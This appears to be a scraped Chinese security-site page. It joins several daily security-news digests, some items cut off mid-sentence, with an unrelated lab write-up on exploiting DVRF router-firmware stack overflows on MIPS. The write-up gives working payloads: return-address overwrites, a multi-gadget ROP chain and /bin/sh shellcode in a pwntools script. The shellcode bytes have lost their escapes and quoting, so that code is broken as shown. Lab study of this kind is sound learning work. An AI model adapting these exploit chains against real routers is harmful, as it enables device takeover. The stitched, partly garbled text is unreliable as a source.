2025年4月，安全公司HUMAN曝光一起代号"Scallywag"的大规模广告欺诈活动。攻击者通过定制WordPress插件，在盗版和URL缩短网站上植入恶意代码获利，最高峰时每日产生14亿次虚假广告请求。经调查，该犯罪网络涉及407个域名，通过伪造广告展示和点击非法牟利。 5、HPE集群管理器被发现允许远程绕过身份验证 https://cybersecuritynews.com/hpe-performance-cluster-manager-vulnerability/ 2025年4月22日，研究人员在HPE Performance Cluster Manager（HPCM）中发现一个高危认证绕过漏洞（CVE-2025-27086）。该漏洞存在于HPCM图形用户界面(GUI)的远程方法调用(RMI)通信机制中，影响包括1.12版本在内的所有HPCM版本。攻击者可利用此漏洞远程绕过身份验证机制，直接访问受保护的系统资源。HPE已获知该漏洞详情，建议使用HPCM的企业立即采取缓解措施。 6、严重性10分的Erlang SSH漏洞已出现公开利用代码 https://www.freebuf.com/articles/ics-articles/428263.html 网络安全专家正紧急呼吁企业立即修复Erlang/OTP安全外壳（SSH）协议中的一个高危漏洞（CVE-2025-32433）。该远程代码执行（RCE）漏洞的CVSS评分为满分10分，攻击者无需认证即可完全控制受影响设备。该漏洞于4月16日被发现后，研究人员已迅速开发出利用代码。 7、新型钓鱼攻击：SVG文件中植入恶意HTML文件 https://www.freebuf.com/articles/web/428247.html 网络安全专家发现了一种利用SVG（可缩放矢量图形）文件格式的新型钓鱼技术，攻击者通过该技术向不知情的受害者投递恶意HTML内容。这种于2025年初首次被发现的威胁手段，标志着钓鱼战术的显著升级——攻击者利用SVG文件的双重特性绕过安全防护措施，诱骗用户泄露敏感信息。 8、RustoBot利用路由器漏洞发动DDoS跨境攻击 https://www.anquanke.com/post/id/306777 FortiGuard Labs 最近发现了名为 RustoBot 的恶意程序，它是用 Rust 语言编写的。Rust 是一种以性能和安全性著称的内存安全型语言。RustoBot 是一个复杂的僵尸网络，它利用了 TOTOLINK 和 DrayTek 路由器中的漏洞，从而在日本、越南和墨西哥的技术基础设施中占据了一席之地。 9、美国美中委员会发布DeepSeek调查报告称其威胁美国国家安全 https://www.secrss.com/articles/77880 近日，美国美中战略竞争特别委员会发布了一份DeepSeek调查报告，指控DeepSeek涉嫌数据窃取、信息操控、技术盗用及规避美国出口管制，威胁美国国家安全。 10、 高危Windows更新堆栈漏洞可导致代码执行与权限提升 https://cybersecuritynews.com/windows-update-stack-vulnerability/ 微软Windows更新堆栈高危漏洞CVE-2025-21204允许攻击者通过操控更新流程获取SYSTEM权限，影响Win10/11及Server多个版本。漏洞利用文件系统信任而非内存破坏，传统工具难检测。微软已发布补丁修复，建议立即更新并限制相关目录访问。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、FOG勒索软件伪装DOGE发起钓鱼攻击 https://cybersecuritynews.com/new-fog-ransomware-attack-mimic-as-doge-attacking-organization/ 2025年4月21日，研究人员发现，FOG勒索软件攻击活动呈现新型攻击特征，攻击者伪装成美国"政府效率部（DOGE）"名义实施社会工程攻击。该活动通过精心制作的钓鱼邮件进行传播，邮件附件伪装成政府公文，当受害者点击该附件后，会启动复杂的感染链，从而导致数据加密和勒索要求。 2、Google OAuth被利用于伪造DKIM认证钓鱼邮件 https://www.bleepingcomputer.com/news/security/phishers-abuse-google-oauth-to-spoof-google-in-dkim-replay-attack/ 2025年4月20日，研究人员披露，在一起网络钓鱼攻击中，攻击者通过利用Google OAuth授权流程与邮件协议漏洞，构造了显示发件人为"no-reply@google.com"的欺诈邮件。该邮件利用DKIM签名验证机制缺陷，在通过常规反垃圾邮件检测的同时，将用户重定向至攻击者控制的仿冒Google支持页面，诱导受害者提交账户凭证。 3、GitHub针对企业产品版发布紧急安全更新 https://cybersecuritynews.com/github-enterprise-server-vulnerabilities/ 2025年4月21日，GitHub针对企业版产品发布紧急安全更新，修复包含关键远程代码执行漏洞（CVE-2025-3509）在内的多个安全缺陷，该漏洞影响3.13.0至3.16.1版本。攻击者可通过构造恶意HTTP请求在服务端执行任意命令，同时结合跨站脚本漏洞（CVE-2025-3511）窃取私有仓库访问令牌及敏感代码资产。 4、Facebook开发的PyTorch模型被发现存在RCE漏洞 https://securityonline.info/critical-pytorch-vulnerability-cve-2025-32434-allows-remote-code-execution/ 2025年4月21日，研究人员披露，PyTorch深度学习框架存在远程命令执行（RCE）漏洞（CVE-2025-32434），该漏洞影响2.5.1版本之前的PyTorch。如果攻击者利用此缺陷制作了一个模型文件，他们就可以在目标计算机上执行任意命令，这可能导致数据泄露、系统泄露，甚至在云托管的 AI 环境中横向移动。目前PyTorch已在发布2.6版本修复该漏洞， 5、Meshtastic开源通信协议栈存在远程代码执行漏洞 https://securityonline.info/critical-meshtastic-rce-vulnerability-cve-2025-24797-requires-urgent-update/ 2025年4月21日，研究人员披露，Meshtastic开源通信协议栈存在远程代码执行漏洞（CVE-2025-24797），该漏洞影响固件版本2.6.2之前的所有设备。该漏洞源于不正确地处理含有无效协议缓冲区（protobuf）数据错误格式的网状数据包。受影响设备涉及基于ESP32、nRF52等硬件平台的便携式节点设备，主要应用于野外救援、灾害应急通信等离网场景。Meshtastic官 6、新型恶意软件"超级卡X"通过NFC中继攻击瞄准安卓设备 https://www.freebuf.com/articles/428204.html Cleafy安全研究人员发现名为"超级卡X"（SuperCard X）的新型恶意软件即服务（MaaS），该恶意软件通过NFC（近场通信）中继攻击针对安卓设备实施资金窃取。 7、朝鲜APT组织利用实时深度伪造技术通过远程工作渗透组织 https://www.freebuf.com/articles/ai-security/428243.html 网络安全渗透手段出现令人担忧的新发展——朝鲜APT组织开始在远程工作面试中使用复杂的实时深度伪造（deepfake）技术，以此获取全球各地组织的职位。 8、 微软Entra新安全功能引发大规模账户锁定事件 https://www.bleepingcomputer.com/news/microsoft/widespread-microsoft-entra-lockouts-tied-to-new-security-feature-rollout/ 微软Entra ID新功能"MACE"部署故障引发大规模误报，导致大量用户账户被锁定。受影响账户未现入侵迹象且启用了MFA，微软确认问题源于静默部署的凭证撤销应用。建议管理员排查异常警报。 9、Qrator Labs成功抵御今年最大规模DDoS攻击 峰值达965Gbps https://hackread.com/qrator-labs-mitigating-largest-ddos-attack-to-date/ 2025年4月，Qrator Labs成功抵御峰值965 Gbps的DDoS攻击，创年度纪录。攻击针对相关在线平台，与NHL球星破纪录进球时间重合，采用多向量复合模式。研究显示体育赛事期间相关平台成高危目标，企业需提前强化防护。 10、Interlock 勒索软件肆虐，全球企业面临数据加密与泄露双重风险 https://www.anquanke.com/post/id/306737 Sekoia 威胁检测与研究团队（TDR）的一份新报告详细阐述了 Interlock 勒索软件的入侵活动。Interlock 首次被发现于 2024 年 9 月，以实施 Big Game Hunting 和双重勒索活动而闻名。尽管它不被归类为勒索软件即服务（RaaS）组织，但 Interlock 运营着一个名为 Worldwide Secrets Blog 的数据泄露网站，以此向受害者施压。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

前言 最近导师要搞IOT漏洞挖掘项目，我得找找IOT学习资料，DVRF就适合IOT设备漏洞挖掘从入门到入坟....（bushi 固件分析 Squashfs系统，还是小端序，提取一下文件 有漏洞的程序在pwnable目录下 不过DVRF里面还附带有程序的源码，所以我们先看看源码，再来看二进制程序 题目 stack_bof_01 乍一看，strcpy()和system()都有，buff叠满了，细一看system()函数是固定字符串，应该不会造成命令注入漏洞，因为已经把控制参数都给写好了（什么地狱笑话），直接留了个后门，所以只剩下strcpy()这个常见的栈溢出漏洞函数，没有对输入的内容限制长度，所以有栈溢出。buf一共200字节长度，只要argv[]这个我们可控的参数长度超过200就可以覆盖掉buf，然后劫持函数执行流到system("/bin/sh -c")这个后门函数即可 先checksec检查二进制文件信息 什么都没有，城门大开，并且是mips32位小端序，所以要模拟起来的话，需要qemu-mipsel，考虑到动态链接经常出幺蛾子，所以直接搞个静态的，即qemu-mipsel-static到固件的根目录下， 然后开启模拟 sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/statck_bof_01 一开始以为显示的是缺少参数东西，检查了好久检查不出个所以然，后来才反应过来这是要在后面输入东西，然后就看见模拟成功跑起来了 那接下来我们需要得到一个偏移量，即argv[]参数到寄存器R31也就是$ra的偏移量，要么静态IDA查看计算一番，不过有可能会不准，所以直接一劳永逸用动态调试来计算好了 首先开启一个端口8888 sudo chroot . ./qemu-mipsel-static -g 8888 ./pwnable/Intro/statck_bof_01 然后另起一个窗口，开启动态调试 gdb-multiarch stack_bof_01 set architecture mips target remote 127.0.0.1:8888 进来pwndbg初始状态 由于一开始已经在main函数里，所以直接n单步步过到strcpy函数，按理说这个流程应该没错，但是不知道是不是pwndbg自身的问题，一直报错 排查了一天也不知道怎么解决，后来网上找了一个黑盒测试的方法 主要用于 调试 MIPS 架构的缓冲区溢出漏洞 ulimit -c unlimited  #启用核心转储（core dump）功能，并解除大小限制,当程序崩溃，比如说段错误时，系统会生成一个 core 文件，记录崩溃时的内存状态，如寄存器、堆栈等 此命令确保 core 文件能被完整生成 sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern' #设置核心转储文件的命名格式，方便后续调试时快速定位对应的崩溃文件 sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 `cyclic 1000` #在 chroot 环境中，使用 QEMU 用户态模拟器运行 MIPS 小端序程序，并触发崩溃，程序因缓冲区溢出崩溃，生成 core 文件 sudo gdb-multiarch ./pwnable/Intro/stack_bof_01 ./qemu_stack_bof_01_20250406-074606_5214.core -q #使用支持多架构的 GDB 加载程序及其核心转储文件进行调试，查看崩溃时的寄存器状态，比如说$pc 的值，确定溢出点偏移量 cyclic -l 0x63616162 #通过崩溃时覆盖的地址，这里是0x63616162，反推溢出点偏移量 cyclic 工具生成一个 唯一递增的 4 字节模式字符串 比如说aaaabaaacaaadaaa...当程序崩溃时，若寄存器的值是 0x63616162（对应 ASCII baac，注意小端序），则执行cyclic -l 0x63616162 该值在模式字符串中的偏移量，即溢出点到返回地址的偏移 说白了，整个调试模式流程如下： 生成崩溃：通过 cyclic 字符串触发程序崩溃，生成 core 文件 定位偏移：用 cyclic -l <地址> 计算偏移量 构造 Payload：根据偏移量构造 填充数据 + 目标地址 的利用载荷 重新触发：用构造的 Payload 替换 cyclic 字符串，验证漏洞利用 学到了学到了 所以我们得到了偏移204的位置覆盖了返回地址，所以我们要先覆盖204个字节长度(这里不用再加上4个字节长度的寄存器了，因为204就已经包括了寄存器了)，然后再加上程序自己留的后门函数system("/bin/sh -c")的地址，就可以完成一次攻击劫持流 由IDA可知，后门函数地址为0x00400950，并且要注意这里是小端序的写法，所以payload为 sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 `python -c 'print(b"a"*204 + b"\x50\x09\x40\x00")'` 由于pwndbg动态调试的时候出现异常，所以这里改为用IDA进行远程动态调试 不出意外崩了，毫不意外呢.... 根据技术文档分析，程序崩溃的根源与MIPS架构特性直接相关 在缓冲区溢出攻击场景中，全局指针寄存器$gp被覆盖是触发异常的核心因素。该寄存器负责维护全局数据区的基址定位，其值被破坏后，程序无法通过偏移计算正确访问全局变量或静态存储区，最终因寻址错误，比如说访问非法内存地址，导致崩溃 进一步结合漏洞利用流程，MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地址，这是指令集中对函数跳转和数据索引的硬性规范。例如，调用dat_shell函数时，若$t9未正确指向其起始地址，代码将无法解析函数内的相对偏移，进而引发执行流紊乱 t9 寄存器总是保存的是函数的开头地址，若通过控制 ra 直接劫持到目标函数，t9 寄存器没有变化，还是原来调用过的函数的地址 所以需要调用 ROP 来设置一次 t9 寄存器的地址为后门地址，进而 jr $t9，才能使得 gp 寄存器正确的寻址 而且这里不能用 python -c 命令作为命令行参数传进去，因为在 python 输出过程中会被截断 因此，完整的利用链需分两步完成：首先通过ROP gadget精准设置$t9寄存器的值，使其符合目标函数dat_shell的入口地址，再通过控制流劫持跳转至目标函数，从而绕过MIPS架构的寄存器约束，实现稳定攻击 所以现在首要目标就是要找到一个gadgets，可以跳转到$t9寄存器，然后修改返回地址到 rop_gadget, 设置 $t9 为 dat_shell 函数的地址，跳转到 dat_shell 函数，执行system，在原程序中没有找到跳转到$t9的gadget 在DVRF固件所提供的文件libc.so.0中刚好能找到我们想要的gadget 但是这不是真正的地址，我们得去找到libc的基地址再加上0x6b20才是我们所以填写到payload中的地址 所以现在问题又变成了怎么找到libc的基地址，因为从ida来看，并没有@plt表，所以通过泄露一些在程序中已被调用的函数的地址，通过其在程序运行起来的地址减去在libc.so.0内的地址从而得到libc的基地址 那我们就用这个第一个的memset函数，在libc.so.0的地址为0001BE10 ida在memset下个断点，然后远程动态调试 找到memset在执行的时候的真正地址，为0x7F700E10 libc_base=0x7F700E10-0x0001be10=0x7f6e5000 gadget地址为=0x7f6e5000+0x6b20=0x7F6EBB20 sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x20\xbb\x6e\x7f\x50\x09\x40\x00'")" 我看网上还有一种方法，因为dat_shell的首地址在0x00400950，但是直接跳过去的话又会发生崩溃，所以在0x00400950处下一个断点，看看到底咋回事 可以看到经过三次单步步过之后，gp寄存器指向了一块不知名且无法访问的内存空间 而gp寄存器在MIPS中$gp是 全局指针寄存器，用于高效访问静态数据区，比如说全局变量、常量等 程序启动时，$gp 由运行时环境，比如说启动代码设置为指向 .got或数据段中间位置。 当$gp指向了一块不知名且无法访问的内存区域时，通常意味着程序在初始化、链接或运行时逻辑中存在严重问题，也有可能时$gp 本应在程序生命周期内保持恒定，但若代码中错误地修改了 $gp，比如说如误将其用作临时寄存器），会导致后续全局数据访问失败 总之既然直接跳转到0x00400950会发生错误，那根据上述的调试可知，只要绕过前面三步单步步过就可以了，所以把payload地址修改为0x0040095c sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40\x00'")" 又get一种黑科技写法 这道题最重要的就是学到$t9寄存器的值是MIPS程序的函数的起始地址，这对rop链构造是至关重要的 stack_bof_02 先看源码 这一漏洞的本质仍属于典型的栈溢出攻击场景 程序通过命令行参数获取输入数据，在利用strcpy函数进行数据复制时，由于未对参数长度进行有效性校验，导致超出目标缓冲区的容量边界，从而引发栈空间溢出 而且，根据《揭秘家用路由器0day漏洞挖掘技术》书中所写到，main函数在MIPS架构中被归类为非叶子函数，这意味着其栈帧中会保存返回地址寄存器$ra 当溢出发生时，就可以通过构造的输入数据覆盖栈上存储的$ra值，当main函数执行完毕并尝试通过jr $ra返回时，程序流将被劫持到被篡改的地址 不过跟上一道相比，少了后门函数 因此，我们需要通过注入Shellcode到栈或寄存器中，并将$ra覆盖为Shellcode的起始地址，从而在程序返回时触发攻击代码的执行 检查一下文件，发现啥保护都没有，32小端序 模拟，启动！ sudo chroot . ./qemu-mipsel-static ./pwnable/ShellCode_Required/stack_bof_02 这已经明示了要弄shellcode了 动态调试还是不行啊...搞不定，用用黑盒测试 要覆盖508个字节长度 准备构造ROP 由于MIPS采用流水线指令集架构，其存在cache incoherency特性，因此在跳转到shellcode之前必须调用sleep等函数将数据区刷新至当前指令区，这样才能保证shellcode的正常执行 流水线指令集架构 是一种通过并行化处理指令执行过程来提高处理器效率的设计方法。其核心思想是将指令的执行过程划分为多个独立的阶段 比如说取指、译码、执行、访存、写回等 每个阶段由专门的硬件单元处理，不同阶段的指令可以同时执行，从而形成类似“工厂流水线”的工作模式 典型的流水线分为以下阶段（以经典5级流水线为例）： 取指（IF）：从内存中读取指令。 译码（ID）：解析指令的操作码和操作数。 执行（EX）：执行算术或逻辑运算。 访存（MEM）：访问内存（如加载或存储数据）。 写回（WB）：将结果写回寄存器。 每个阶段完成后，指令会传递到下一阶段，同时新的指令进入当前阶段。例如： 第1条指令处于写回阶段时， 第2条指令可能处于访存阶段， 第3条指令处于执行阶段， ... 举个例子 ADD R1, R2, R3 #R1 = R2 + R3，算术运算 LW R4, 0(R1) #从内存地址R1+0加载数据到R4，访存操作 SUB R5, R4, R6 # R5 = R4 - R6，依赖第2条指令的R4结果 BEQ R5, R0, LABEL #若R5 == 0，跳转到LABEL，分支指令 所以，我们需要在跳转前调用 sleep(1) 刷新指令缓存，而sleep函数将参数存放在$a0寄存器中，所以我们在libc.so.0中寻找我们所要的gadget 随便选一个了，选了第二个，且gadget的末尾是跳转到$s1寄存器，先到0x0002fb10地址查看一番 由图所示，我们还要找到可以控制$s1的gadget，以便覆盖数据的时候可以覆盖掉$s1寄存器 但是在main函数中没有出现类似 lw $s0, offset($sp) 的指令，意味着该函数未主动恢复保存寄存器（$s0−$s7）的值 函数内部使用了($s0-$s7)这些寄存器，需在函数开头将其保存到栈中（sw $sN, offset($sp)），并在返回前恢复（lw $sN, offset($sp)）。 而临时寄存器($t0-$t9)无需保存，调用者需假设其值在函数调用后可能被破坏。 若main函数未使用s0−s7，则无需在栈帧中保存/恢复这些寄存器，因此末尾不会有lw $s0, offset($sp)类指令。 所以由于main函数末尾没有lw $s1, offset($sp)，攻击者无法通过覆盖栈上保存的$s1旧值来直接控制该寄存器。 所以，无法直接控制$s1寄存器 需通过其他途径间接控制$s1，比如说，利用其他函数中的gadget恢复$s1，或者是通过数据传递链，比如move指令，将可控寄存器的值传递到$s1 所以还是通过mipsrop.find("lw $s1")找到了一些gadget 0x00006A50 理一下逻辑，使用gadget2=0x00006A50这段gadget设置好寄存器，修改好$s1的值，然后使用gadget1=0x0002FB10这段gadget去刷新数据区 同时还是要找到libc的地址，由上一题可知，libc基地址为0x7f6e5000 所以gadget1=0x7f6e5000+0x0002fb10=0x7f714b10 gadget2=0x00006a50+0x7f6e5000=0x7f6eba50 并且由ida可知调整shellcode的位置为0x58 gadget1=0x7f714b10 gadget2=0x7f6eba50 payload="a"*508 payload+=p32(gadget2) payload+="a"*0x58 payload+="aaaa" #覆盖s0 payload+="aaaa" #覆盖s1 payload+="aaaa" #覆盖s2 payload+=p32(gadget1) 由ida可知，sleep静态地址为0x0002F2B0，再加上libc_addr的话就为0x7F7142B0 但是不能把sleep地址直接写到s1上，因为当这里填入sleep函数的地址后，程序会直接跳转执行sleep函数，但由于$ra寄存器仍保留着gadget1的地址，在sleep函数执行完毕后又会重新返回到当前位置。因此，需要寻找一个具备双重功能的gadget3——它既能通过s0或s2寄存器实现跳转控制，同时又能够对ra寄存器进行重新赋值，通过mipsrop.tail()找到的gadget3 0x00020F1C+libc_addr=0x7f705f1c gadget1=0x7f714b10 gadget2=0x7f6eba50 gadget3=0x7f705f1c sleep_addr=0x7f7142b0 payload="a"*508 payload+=p32(gadget2) payload+="b"*0x58 payload+="cccc" #覆盖s0 payload+=p32(gadget3) #覆盖s1 payload+=p32(sleep)#覆盖s2，写入sleep payload+=p32(gadget1) payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码 payload+="aaaa"#覆盖$s0 payload+="aaaa"#覆盖$s1 payload+="aaaa"#覆盖$s2 payload+="aaaa"#覆盖$ra sleep函数执行完之后，得找一个可以跳转的地址，并且在那上面可以写shellcode 不过没有找到，在师傅建议下，找了一个可以先控制寄存器上的值，再跳转到这里，通过mipsrop.stackerfind()，gadget4=0x00016dd0+libc_addr=0x7f6fbdd0 gadget1=0x7f714b10 gadget2=0x7f6eba50 gadget3=0x7f705f1c gadget4=0x7f6fbdd0 sleep_addr=0x7f7142b0 payload="a"*508 payload+=p32(gadget2) payload+="b"*0x58 payload+="cccc" #覆盖s0 payload+=p32(gadget3) #覆盖s1 payload+=p32(sleep)#覆盖s2，写入sleep payload+=p32(gadget1) payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码 payload+="aaaa"#覆盖$s0 payload+="aaaa"#覆盖$s1 payload+="aaaa"#覆盖$s2 payload+=p32(gadget4)#覆盖$ra 从ida显示的0x00016dd0可知，我们还得找一个可以利用$a0跳转的gadget5，直接简单粗暴 mipsrop.find("move $t9,$a0") gadget5=0x000214A0+libc_addr=0x7f7064a0 gadget1=0x7f714b10 gadget2=0x7f6eba50 gadget3=0x7f705f1c gadget4=0x7f6fbdd0 gadget5=0x7f7064a0 sleep_addr=0x7f7142b0 payload="a"*508 payload+=p32(gadget2) payload+="b"*0x58 payload+="cccc" #覆盖s0 payload+=p32(gadget3) #覆盖s1 payload+=p32(sleep)#覆盖s2，写入sleep payload+=p32(gadget1) payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码 payload+=p32(gadget5)#覆盖$s0 payload+="aaaa"#覆盖$s1 payload+="aaaa"#覆盖$s2 payload+=p32(gadget4)#覆盖$ra payload+="f"*0x18 payload += p32(0xdeadbeef) payload += shellcode 随便找了个网站生成了一段小端的shellcode shellcode = “” shellcode += "xffxffx06x28"  # slti $a2, $zero, -1 shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962 shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp) shellcode+= "x73x68x0ex3c"  # lui $t6, 0x6873 shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp) shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp) shellcode += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc shellcode += "xffxffx05x28"  # slti $a1, $zero, -1 shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab shellcode += "x0cx01x01x01"  # syscall 0x40404 完整的payload from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" gadget1=0x7f714b10 gadget2=0x7f6eba50 gadget3=0x7f705f1c gadget4=0x7f6fbdd0 gadget5=0x7f7064a0 sleep_addr=0x7f7142b0 shellcode = “” shellcode += "xffxffx06x28"  # slti $a2, $zero, -1 shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962 shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp) shellcode+= "x73x68x0ex3c"  # lui $t6, 0x6873 shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp) shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp) shellcode += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc shellcode += "xffxffx05x28"  # slti $a1, $zero, -1 shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab shellcode += "x0cx01x01x01"  # syscall 0x40404 payload="a"*508 payload+=p32(gadget2) payload+="b"*0x58 payload+="cccc" #覆盖s0 payload+=p32(gadget3) #覆盖s1 payload+=p32(sleep)#覆盖s2，写入sleep payload+=p32(gadget1) payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码 payload+=p32(gadget5)#覆盖$s0 payload+="aaaa"#覆盖$s1 payload+="aaaa"#覆盖$s2 payload+=p32(gadget4)#覆盖$ra payload+="f"*0x18 payload += p32(0xdeadbeef) payload += shellcode with open("stack_bof_02_pyload","w") as file:    file.write(payload) 这道题最重要的就是学到mipsrop链的构造。

1、勒索软件使用被盗的AWS密钥攻击S3存储桶 https://hackread.com/mass-ransomware-campaign-s3-buckets-stolen-aws-keys/ 2025年4月17日，研究人员发现针对AWS云存储的大规模勒索攻击，攻击者利用1,229个被盗的AWS访问密钥对S3存储桶实施静默加密。通过滥用AWS服务端加密功能（SSE-C），攻击者使用自生成的AES-256密钥加密数据，且未触发常规告警或文件变更日志，使数据所有者难以察觉异常。此次攻击的AWS密钥或源于GitHub代码泄露、CI/CD工具配置缺陷及老旧IAM凭证，攻击流程高度自动化且身份不明。 2、关岛医院因勒索事件数据泄露被HIPAA罚款 https://www.govinfosecurity.com/guam-hospital-pays-feds-25k-to-settle-hipaa-investigation-a-28037 2025年4月17日，关岛纪念医院管理局（GMHA）因涉嫌违反《健康保险流通与责任法案》（HIPAA）与美国卫生与公众服务部民权办公室（HHS OCR）达成和解协议，支付2.5万美元罚款并执行整改计划。此次调查源于HHS OCR对两起安全事件的审查：2018年12月发生的勒索软件攻击事件导致5000人受保护健康信息泄露，以及2019年1月相关投诉中发现的违规行为。调查显示，该医院未按要求开展全面的安 3、Windows NTLM hash泄露漏洞被用于政府钓鱼攻击 https://www.bleepingcomputer.com/news/security/windows-ntlm-hash-leak-flaw-exploited-in-phishing-attacks-on-governments/ 2025年4月17日，微软在3月份修复了Windows系统中因.library-ms文件触发NTLM哈希泄露的漏洞（CVE-2025-24054），但该漏洞在补丁发布后迅速遭黑客利用。攻击者自3月20日起针对政府机构及私营企业发起钓鱼攻击，通过诱导目标访问恶意文件窃取NTLM认证哈希值，进而横向渗透内网。尽管攻击流量中检测到与俄罗斯APT28（Fancy 4、攻击者仿冒CapCut下载站传播远程控制程序 https://www.welivesecurity.com/en/scams/capcut-copycats-prowl/ 2025年4月17日，研究人员披露新型钓鱼攻击活动，攻击者仿冒CapCut、Adobe Express及Canva等AI内容生成工具，通过伪造“高级版”下载页面分发恶意远程控制程序。虚假网站诱导用户上传素材并下载名为“Creation_Made_By_CapCut.mp4”的可执行文件，实际为预配置的ConnectWise ScreenConnect、AnyDesk等工具，可在用户授权后直接控制设备，恶意远程工具可绕过管理员权限，实现数据窃取、勒索软件部署及横向渗透。 5、攻击者利用AI演示工具Gamma构建多阶段欺诈流程 https://thehackernews.com/2025/04/ai-powered-gamma-used-to-host-microsoft.html 2025年4月16日，Abnormal Security披露新型钓鱼攻击链，攻击者利用AI演示工具Gamma构建多阶段欺诈流程。攻击者通过钓鱼邮件投递含超链接的PDF附件，点击后跳转至Gamma平台仿造的“安全文档审阅”页面。受害者需通过Cloudflare验证码后进入伪造的Microsoft SharePoint登录界面，攻击者使用中间人（AiTM）技术实时校验凭证，若密码错误则触发动态提示以增强欺骗性。 6、勒索团伙伪造IT工具实施社工攻击 https://www.bleepingcomputer.com/news/security/interlock-ransomware-gang-pushes-fake-it-tools-in-clickfix-attacks/ 2025年4月18日，研究人员披露Interlock勒索团伙升级攻击手段，通过伪造IT支持工具实施ClickFix社会工程攻击。攻击者向企业员工发送“系统故障修复指南”，诱导其复制执行恶意PowerShell指令，成功渗透后，攻击者在FreeBSD服务器与Windows系统横向移动，部署自研勒索软件加密文件，勒索金额达数十万至数百万美元。 7、攻击者利用Zoom远程控制权限植入恶意软件 https://www.helpnetsecurity.com/2025/04/18/zoom-remote-control-attack/ 2025年4月18日，研究人员披露针对Zoom的攻击手法。攻击者利用视频会议平台的“远程控制”功能实施恶意操作，黑客通过伪造企业培训、客户支持等钓鱼会议链接，诱导用户点击“允许远程控制”权限。一旦授权，攻击者可直接在受害者设备执行命令，植入Agent Tesla、Remcos RAT等窃密木马，或劫持摄像头与麦克风进行数据窃取。 8、恶意npm包模仿Telegram Bot API在Linux上植SSH后门 https://thehackernews.com/2025/04/rogue-npm-packages-mimic-telegram-bot.html 2025年4月19日，研究人员披露，npm仓库中三个伪装成热门Telegram Bot API（Telegram机器人应用程序接口）的恶意软件包（node-telegram-utils、node-telegram-bots-api、node-telegram-util）被用于攻击Linux开发环境。这些软件包仿冒合法库node-telegram-bot-api，通过“星劫持”（starjacking）手段伪造GitHub仓库关联性，诱导开发 9、Gorilla安卓木马拦截并窃取短信验证码 https://cybersecuritynews.com/new-gorilla-android-malware-intercept-sms-messages/ 2025年4月19日，研究人员发现Android恶意程序“Gorilla”，该恶意程序通过拦截包含短信验证码（OTP）的SMS消息针对银行及Yandex用户发起攻击。该恶意程序通过精细化权限滥用与通信隐蔽技术，构建针对金融账户的OTP窃取链条。其利用WebSocket实时传输数据，并规避常规检测API的行为。Catalyst警告，此类攻击可能破坏多因素认证（MFA）安全性，直接威胁用户资金与隐私。 10、SonicWall SMA设备远程代码漏洞被恶意利用 https://securityaffairs.com/176706/security/attackers-exploited-sonicwall-sma-appliances-since-january-2025.html 2025年4月19日，研究人员披露，自1月起，攻击者持续利用SonicWall Secure Mobile Access（SMA）设备漏洞（CVE-2021-20035）实施入侵。该漏洞为SMA100管理界面的操作系统命令注入缺陷，允许远程认证攻击者以“nobody”用户权限执行任意代码，并可引发拒绝服务（DoS）攻击。研究发现，攻击者重点针对SMA 200/210/4 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、APT组织利用GrapeLoader钓鱼攻击欧洲使馆 https://www.bleepingcomputer.com/news/security/midnight-blizzard-deploys-new-grapeloader-malware-in-embassy-phishing/ 2025年4月15日，研究人员揭露俄罗斯APT组织Midnight Blizzard（APT29/Cozy Bear）针对欧洲外交机构发起钓鱼攻击，其恶意软件GrapeLoader首次曝光。攻击自2025年1月起持续活跃，黑客伪造欧洲多国"外交部"名义发送主题为"品酒会邀请"的钓鱼邮件，诱导目标下载含恶意程序的ZIP压缩包。该压缩包内嵌合法PPT程序与恶意DL 2、朝鲜黑客借Python编程测试投递窃密程序 https://thehackernews.com/2025/04/crypto-developers-targeted-by-python.html 2025年4月15日，研究人员披露披露朝鲜黑客组织Slow Pisces（Jade Sleet）针对加密货币开发者发起精密供应链攻击。攻击者通过LinkedIn伪装招聘方，以"编程能力测试"为名诱骗开发者下载托管于GitHub的恶意Python项目。项目内嵌RN 